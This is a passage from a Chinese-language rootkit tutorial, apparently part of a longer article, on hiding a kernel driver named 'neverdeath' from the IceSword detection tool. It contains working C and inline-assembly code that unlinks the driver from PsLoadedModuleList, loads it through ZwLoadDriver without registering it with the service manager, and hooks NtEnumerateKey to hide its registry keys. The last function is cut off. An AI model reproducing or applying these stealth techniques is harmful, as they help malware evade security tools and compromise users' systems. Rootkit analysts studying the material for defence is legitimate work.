你可能发现上面这段代码hook的也是NtQuerySystemInformation函数,而在隐藏进程中不是已经hook了 NtQuerySystemInformation函数,这样不是造成重合了。在实际操作中,你只要hook一次 NtQuerySystemInformation函数,然后在自己定义NewNtQuerySystemInformation中增加几个选择项就是了。我这样写是为了便于理解,使它们每个部分自成一体,如果按实际代码搬出来的话,显得太支离破碎(支离破碎的支到底是这个“支”还是这个“肢”??)了。
不知道pjf看到这里之后会不会想着给IS升级,增加IS检测隐藏内核模块的功能,因此下面一并给出了如何在 PsLoadedModuleList链表删除自身的代码,关于如何获取PsLoadedModuleList这个内核变量的地址我就不说了,不了解的请参看TK的《获取Windows 系统的内核变量》。PsLoadedModuleList所指向的是结构是_MODULE_ENTRY,微软没有给出定义,但是uzen_op (fuzen_op@yahoo . com)在FU_Rootkit2 .0 的资源中给出了MODULE_ENTRY的结构定义如下:
代码
1. typedef struct _MODULE_ENTRY {
2. LIST_ENTRY le_mod ;
3. DWORD unknown [ 4 ];
4. DWORD base ;
5. DWORD driver_start ;
6. DWORD unk1 ;
7. UNICODE_STRING driver_Path ;
8. UNICODE_STRING driver_Name ;
9. } MODULE_ENTRY , * PMODULE_ENTRY ;
进一步分析后发现上述结构中的unk1成员的值其实就是该模块文件的大小 . 从新对该结构定义如下 :
代码
1. typedef struct _MODULE_ENTRY {
2. LIST_ENTRY le_mod ;
3. DWORD unknown [ 4 ];
4. DWORD base ;
5. DWORD driver_start ;
6. DWORD Size ;
7. UNICODE_STRING driver_Path ;
8. UNICODE_STRING driver_Name ;
9. } MODULE_ENTRY , * PMODULE_ENTRY ;
PsLoadedModuleList指向的是一个带表头的双向链表,该链表的表头所指向的第一个MODULE_ENTRY的就是 ntoskrnl . exe,此时它的base成员的值就是ntoskrnl . exe在内存中的起始地址 . 这是就可以顺手取一下NtoskrnlBase的值。
有一点要注意的是,如果DriverEntry () 例程未返回STATUS_SUCCESS之前。系统不会把你加入到 PsLoadedModuleList链表中,此时你在PsLoadedModuleList中是找不到自己的。当然为了这个而写一个分发例程也行。我是在自己hook的那些系统函数中设了一个阀值,阀值初始值为“开”,这样系统调用这个函数时都会先检测阀值是否是“开”,是的话跑到 PsLoadedModuleList找一下我们的模块是否存在,存在的话说明DriverEntry () 已经返回成功,马上把自己从 PsLoadedModuleList链表中删除,然后把阀值设成“关”,这样系统下次调用这个函数时发现阀值是“关”的就不会傻乎乎的又跑到 PsLoadedModuleList中去搂一遍了。
代码
1. DWORD NtoskrnlBase = 0 ;
2. DWORD PsLoadedModuleListPtr = 0 ;
3.
4. typedef struct _MODULE_ENTRY {
5.
6. LIST_ENTRY le_mod ;
7. DWORD unknown [ 4 ];
8. DWORD base ;
9. DWORD driver_start ;
10. DWORD Size ;
11. UNICODE_STRING driver_Path ;
12. UNICODE_STRING driver_Name ;
13. } MODULE_ENTRY , * PMODULE_ENTRY ;
14.
15. NTSTATUS GetPsLoadedModuleListPtr ()
16. {
17. UNICODE_STRING UStrName ;
18. DWORD KdEnableDebuggerAddr ;
19. DWORD InitSystem = 0 ;
20. DWORD KdDebuggerDataBlock = 0 ;
21. PMODULE_ENTRY NtosModPtr ;
22. unsigned char * DebuggerDataBlockPtr ;
23. unsigned char * Sysinit ;
24. int i , j ;
25.
26. RtlInitUnicodeString (
27. & UStrName ,
28. L "KdEnableDebugger" );
29.
30. KdEnableDebuggerAddr =( DWORD ) MmGetSystemRoutineAddress ( & UStrName );
31.
32. if ( ! KdEnableDebuggerAddr )
33. {
34. return STATUS_DEVICE_CONFIGURATION_ERROR ;
35. }
36.
37. for ( i = 0 , Sysinit = ( unsigned char * ) KdEnableDebuggerAddr ; i < 0x50 ; i ++, Sysinit ++)
38. {
39. if ( (* Sysinit ) == 0xc6 && (*( Sysinit + 0x1 )) == 0x05 && (*( Sysinit + 0x6 )) == 0x01 && (*( Sysinit + 0x7 )) == 0xE8 )
40. {
41. _asm
42. {
43. pushad
44. mov edi , Sysinit
45. mov eax , [ edi + 0x8 ]
46. add edi , 0xC
47. add edi , eax
48. mov InitSystem , edi
49. popad
50. }
51. }
52. if ( InitSystem != 0 ) break ;
53.
54. }
55.
56. if ( InitSystem == 0 )
57. {
58. return STATUS_DEVICE_CONFIGURATION_ERROR ;
59. }
60.
61. for ( i = 0 , DebuggerDataBlockPtr = ( unsigned char * ) InitSystem ; i < 0x70 ; i ++, DebuggerDataBlockPtr ++)
62. {
63.
64. if ( *(( DWORD *) DebuggerDataBlockPtr ) == 0x4742444b )
65. {
66. DebuggerDataBlockPtr --;
67. DebuggerDataBlockPtr --;
68.
69. for ( j = 0 ; j < 0x10 ; j ++, DebuggerDataBlockPtr --)
70. {
71. if ( * DebuggerDataBlockPtr == 0x68 )
72. {
73. _asm
74. {
75. pushad
76. mov edi , DebuggerDataBlockPtr
77. inc edi
78. mov eax , [ edi ]
79. mov KdDebuggerDataBlock , eax
80. popad
81. }
82. break ;
83. }
84. }
85.
86. }
87.
88. if ( KdDebuggerDataBlock != 0 )
89. {
90. break ;
91. }
92. }
93.
94. if ( KdDebuggerDataBlock == 0 )
95. {
96. return STATUS_DEVICE_CONFIGURATION_ERROR ;
97. }
98.
99. _asm
100. {
101. pushad
102. mov edi , KdDebuggerDataBlock
103. mov eax , [ edi + 0x48 ]
104. mov PsLoadedModuleListPtr , eax
105. popad
106. }
107.
108. if ( PsLoadedModuleListPtr == 0 )
109. {
110. return STATUS_DEVICE_CONFIGURATION_ERROR ;
111. }
112.
113. //获取 Ntoskrnl 的起始地址
114. NtosModPtr = ( PMODULE_ENTRY ) PsLoadedModuleListPtr ;
115. NtosModPtr = ( PMODULE_ENTRY ) ( NtosModPtr -> le_mod . Flink );
116. NtoskrnlBase = ( DWORD ) ( NtosModPtr -> base );
117.
118. return STATUS_SUCCESS ;
119.
120. }
121.
122. NTSTATUS RemoveModule ( )
123. {
124. DWORD RemoveModleAddr ;
125. PMODULE_ENTRY PModPtr_Current ;
126. PMODULE_ENTRY PModPtr_Flink ;
127. PMODULE_ENTRY PModPtr_Blink ;
128.
129. PModPtr_Current =( PMODULE_ENTRY ) PsLoadedModuleListPtr ;
130.
131.
132.
133. PModPtr_Flink = ( PMODULE_ENTRY )( PModPtr_Current -> le_mod . Flink );
134.
135. //Get RemoveModle Addr
136.
137. RemoveModleAddr = DriverAddr ;
138.
139. for ( ; PModPtr_Flink -> le_mod . Flink != ( PLIST_ENTRY ) PModPtr_Current ; PModPtr_Flink = ( PMODULE_ENTRY )( PModPtr_Flink -> le_mod . Flink ) )
140. {
141. if ( RemoveModleAddr > (( DWORD ) PModPtr_Flink -> base ) && RemoveModleAddr < (( DWORD )( PModPtr_Flink -> Size ) + (( DWORD ) PModPtr_Flink -> base )) )
142. {
143. PModPtr_Blink = ( PMODULE_ENTRY )( PModPtr_Flink -> le_mod . Blink );
144. PModPtr_Flink = ( PMODULE_ENTRY )( PModPtr_Flink -> le_mod . Flink );
145. PModPtr_Blink -> le_mod . Flink = ( PLIST_ENTRY ) PModPtr_Flink ;
146. PModPtr_Flink -> le_mod . Blink = ( PLIST_ENTRY ) PModPtr_Blink ;
147. IsDelModule = TRUE ;
148. break ;
149. }
150. }
151. if ( IsDelModule != TRUE )
152. {
153. return STATUS_DEVICE_CONFIGURATION_ERROR ;
154. }
155. return STATUS_SUCCESS ;
156.
157. }
158.
上面这两个函数中,GetPsLoadedModuleListPtr () 是通过特征码搜索获取KdDebuggerDataBlock的位置,使用特征码搜索办法虽然不是很好,但是通用性强。然后再以此获取PsLoadedModuleList地址,RemoveModule () 用来实现在PsLoadedModuleList链表中删除自己。在PsLoadedModuleList中定位的方法也是使用上面利用DriverAddr定位。
五、隐藏服务:
普通情况下加载驱动需要 OpenSCManager -> CreateService -> StartService,这样驱动就会跑到服务管理器中去注册一下自己,并且要隐藏这样加载驱动的服务,不是不行,只是太麻烦而且没效率了。要hook一大堆的服务函数。不过在逆向IS的时候发现了一个不需要去服务管理器注册而直接加载驱动的方法。就是使用ZwLoadDriver(这个函数通常是ring0中加载驱动时用,由于被Ntdll . dll导出,ring3就也能用了)进行直接加载。这样就不用去服务管理器中注册自己,并且这样加载的驱动windows系统工具中的“系统信息”查看器也查不到你,更不用说那些什么服务管理器之类的东东了。屡用不爽。下面介绍一下用法:
1 、首先自己在注册表的服务项中添加一个自己的服务名字项。
2 、在自己添加的服务名字项中添加一些驱动信息(其实就是手工实现CreateService () 函数对注册表的那些操作),这些信息包括“ErrorControl”,“ImagePath”,“Start”,“Type”等等。你要手工设置这些键以及键值。
按上面设置完后,来看看ZwLoadDriver的原形:
代码
1. NTSTATUS
2. ZwLoadDriver (
3. IN PUNICODE_STRING DriverServiceName );
4.
5. 下面的代码给出了ZwLoadDriver的使用例子:
6.
7. AnotherWayStartService ( TCHAR * szDir )
8. {
9. HKEY RegKey ;
10. HKEY hLicenses ;
11. DWORD disp ;
12. DWORD ErrorControl = NULL ;
13. DWORD ProcessID ;
14. DWORD Start = 3 ;
15. DWORD Type = 1 ;
16. LONG Regrt ;
17.
18. DWORD ZwLoadDriver ;
19. DWORD RtlInitUnicodeString ;
20.
21. UNICODE_STRING RegService ;
22.
23. PCWSTR RegServicePath = L "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath" ;
24.
25. TCHAR DriverFilePath [ MAX_PATH ] = "\\??\\" ;
26.
27.
28. Regrt = RegOpenKeyEx (
29. HKEY_LOCAL_MACHINE ,
30. "SYSTEM\\CurrentControlSet\\Services" ,
31. 0 ,
32. KEY_CREATE_SUB_KEY + KEY_SET_VALUE ,
33. & hLicenses );
34.
35. if ( Regrt != ERROR_SUCCESS )
36. {
37. return false ;
38. }
39.
40. Regrt = RegCreateKeyEx (
41. hLicenses ,
42. "neverdeath" ,
43. 0 ,
44. "" ,
45. REG_OPTION_NON_VOLATILE ,
46. KEY_ALL_ACCESS ,
47. NULL ,
48. & RegKey ,
49. & disp );
50.
51. if ( Regrt != ERROR_SUCCESS )
52. {
53. return false ;
54. }
55.
56. Regrt = RegOpenKeyEx (
57. & nb , sp ; HKEY_LOCAL_MACHINE ,
58. "SYSTEM\\CurrentControlSet\\Services\\neverdeath" ,
59. 0 ,
60. KEY_CREATE_SUB_KEY + KEY_SET_VALUE ,
61. & RegKey );
62.
63. if ( Regrt != ERROR_SUCCESS )
64. {
65. return false ;
66. }
67.
68. Regrt = RegSetValueEx (
69. RegKey ,
70. "ErrorControl" ,
71. NULL ,
72. REG_DWORD ,
73. ( const unsigned char *)(& ErrorControl ),
74. 4 );
75.
76. if ( Regrt != ERROR_SUCCESS )
77. {
78. return false ;
79. }
80.
81. strcat ( DriverFilePath , szDir );
82.
83. Regrt = RegSetValueEx (
84. RegKey ,
85. "ImagePath" ,
86. NULL ,
87. REG_EXPAND_SZ ,
88. ( const unsigned char *)(& DriverFilePath ),
89. strlen ( DriverFilePath ) );
90.
91. if ( Regrt != ERROR_SUCCESS )
92. {
93. return false ;
94. }
95.
96.
97. Regrt = RegSetValueEx (
98. RegKey ,
99. "Start" ,
100. NULL ,
101. REG_DWORD ,
102. ( const unsigned char *)(& Start ),
103. 4 );
104.
105. if ( Regrt != ERROR_SUCCESS )
106. {
107. return false ;
108. }
109.
110. Regrt = RegSetValueEx (
111. RegKey ,
112. "Type" ,
113. NULL ,
114. REG_DWORD ,
115. ( const unsigned char *)(& Type ),
116. 4 );
117.
118. if ( Regrt != ERROR_SUCCESS )
119. {
120. return false ;
121. }
122.
123. //还记得前面隐藏进程时,我们进程ID是从注册表中取的
124. //下面就是把进程ID写入注册表,不会影响驱动的加载
125.
126. ProcessID = GetCurrentProcessId ();
127.
128. Regrt = RegSetValueEx (
129. RegKey ,
130. "ProcessID" ,
131. NULL ,
132. REG_DWORD ,
133. ( const unsigned char *)(& ProcessID ),
134. 4 );
135.
136. if ( Regrt != ERROR_SUCCESS )
137. {
138. return false ;
139. }
140.
141. CloseHandle ( RegKey );
142.
143.
144. ZwLoadDriver = ( DWORD ) GetProcAddress (
145. GetModuleHandle ( "ntdll.dll" ),
146. "ZwLoadDriver" );
147.
148. RtlInitUnicodeString = ( DWORD ) GetProcAddress (
149. GetModuleHandle ( "ntdll.dll" ),
150. "RtlInitUnicodeString" );
151.
152. _asm
153. {
154. pushad
155. push RegServicePath
156. lea edi , RegService
157. push edi
158. call RtlInitUnicodeString //装载UNICODE字符
159.
160. lea edi , RegService
161. push edi
162. call ZwLoadDriver
163. popad
164. }
165.
166. return true ;
167.
168. }
请注意上面这段代码中加载驱动时所使用的注册表路径格式是:
“\\Registry\\Machine\\System\\CurrentControlSet\\Services\\neverdeath”
而不是:
“HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\neverdeath”
也许你已经想到了那么卸载驱动会不会就是函数“ZwUnloadDriver”?自己试一下不就知道了:)
六、隐藏注册表:
IS处理注册表并没有什么新意,就是调用那些ZwCreateKey、ZwOpenKey、ZwQueryKey、ZwSetValueKey一类的注册表操作函数,通过伪造内核文件,所以这部分可以很轻松hook并实现隐藏。IS在这里玩了一个小花样,在XP下,IS会在把从 ntoskrnl . exe读到的NtEnumerateKey起始地址的第三个字(注意是字,不是字节!)先加上 0xD50 后,再进行还原,因此你在伪造内核文件时必须先把自己构造的代码的第三个字减去 0xD50 后再写入到otoskrnl . exe中,否则就等着BSOD吧。而在 2K 中就不需要这些操作。这里主要是通过hook注册表函数NtEnumerateKey来隐藏我们注册中的“CurrentControlSet\Services”下的 “neverdeath”项以及“CurrentControlSet\Enum\Root”下的“LEGACY_NEVERDEATH”项。至于隐藏键与键值在这里就不说了,自己随手写一个就是了。顺便提一下,由于windows的regedit也是调用这些函数访问注册表,所以如果你在IS中隐藏了注册表也就等于在windows的regedit中隐藏了。以下代码在XP下测试通过,如要在 2K 或 2K3 中运行,请根据需要自己进行取舍。
由于NtEnumerateKey没有被ntoskrnl . exe导出,这里利用
NtEnumerateKey在服务表 偏移 = “NtDuplicateToken”在服务表中的偏移+ 2
来获取NtEnumerateKey地址。
代码
1. PCWSTR HideKey = L "neverdeath" ;
2. PCWSTR HideKeyLEG = L "LEGACY_NEVERDEATH" ;
3.
4. unsigned char ResumCodeNtEnumerateKey [ 6 ];
5. unsigned char CrackCodeNtEnumerateKey [ 6 ];
6. unsigned char CrackCodeNtEnumerateKeyWriteFile [ 6 ];
7.
8. typedef NTSTATUS ( * NTENUMERATEKEY ) (
9. IN HANDLE KeyHandle ,
10. IN ULONG Index ,
11. IN KEY_INFORMATION_CLASS KeyInformationClass ,
12. OUT PVOID KeyInformation ,
13. IN ULONG Length ,
14. OUT PULONG ResultLength );
15.
16. NTENUMERATEKEY OldNtEnumerateKey ;
17.
18. typedef struct ServiceDescriptorEntry {
19. unsigned int * ServiceTableBase ;
20. unsigned int * ServiceCounterTableBase ; //Used only in checked build
21. unsigned int NumberOfServices ;
22. unsigned char * ParamTableBase ;
23. } ServiceDescriptorTableEntry , * PServiceDescriptorTableEntry ;
24.
25. extern PServiceDescriptorTableEntry KeServiceDescriptorTable ;
26.
27. NTSTATUS NewNtEnumerateKey (
28.
29. IN HANDLE KeyHandle ,
30. IN ULONG Index ,
31. IN KEY_INFORMATION_CLASS KeyInformationClass ,
32. OUT PVOID KeyInformation ,
33. IN ULONG Length ,
34. OUT PULONG ResultLength )
35. {
36. NTSTATUS Status ;
37. PCWSTR KeyNamePtr ;
38.
39.
40. _asm //还原
41. {
42. pushad
43. mov edi , OldNtEnumerateKey
44. mov eax , dword ptr ResumCodeNtEnumerateKey [ 0 ]
45. mov [ edi ], eax
46. mov ax , word ptr ResumCodeNtEnumerateKey [ 4 ]
47. mov [ edi + 4 ], ax
48. popad
49. }
50.
51. Status = ZwEnumerateKey (
52. KeyHandle ,
53. Index ,
54. KeyInformationClass ,
55. KeyInformation ,
56. Length ,
57. ResultLength );